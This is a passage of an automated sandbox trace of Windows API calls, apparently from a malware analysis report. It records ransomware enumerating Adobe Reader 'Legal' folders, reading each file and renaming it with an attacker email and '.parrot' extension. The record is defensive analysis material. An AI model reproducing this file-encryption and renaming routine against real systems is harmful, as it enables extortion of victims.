ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.531] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.531] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.531] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.531] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.531] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.533] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x410, lpOverlapped=0x0) returned 1 [0248.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.533] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.540] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.542] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba2a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xba2a, lpOverlapped=0x0) returned 1 [0248.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.544] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.549] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.549] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.550] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.550] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.551] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.552] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x470, lpOverlapped=0x0) returned 1 [0248.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.553] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.559] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.561] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0a0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf0a0, lpOverlapped=0x0) returned 1 [0248.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.564] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.570] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.570] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.613] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.613] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.613] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.613] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.613] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.614] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.614] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.616] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.616] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x470, lpOverlapped=0x0) returned 1 [0248.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.616] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.617] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.625] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.625] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd746, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd746, lpOverlapped=0x0) returned 1 [0248.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.626] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.627] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.632] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.632] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.634] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.634] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.634] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.634] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.634] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.634] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.634] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.636] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4d6, lpOverlapped=0x0) returned 1 [0248.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.643] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.643] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.644] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe796, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe796, lpOverlapped=0x0) returned 1 [0248.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.646] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.647] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.652] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.652] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.657] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.657] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.657] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.657] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.657] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.659] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x578, lpOverlapped=0x0) returned 1 [0248.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.660] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.666] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.667] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ece3, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3ece3, lpOverlapped=0x0) returned 1 [0248.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 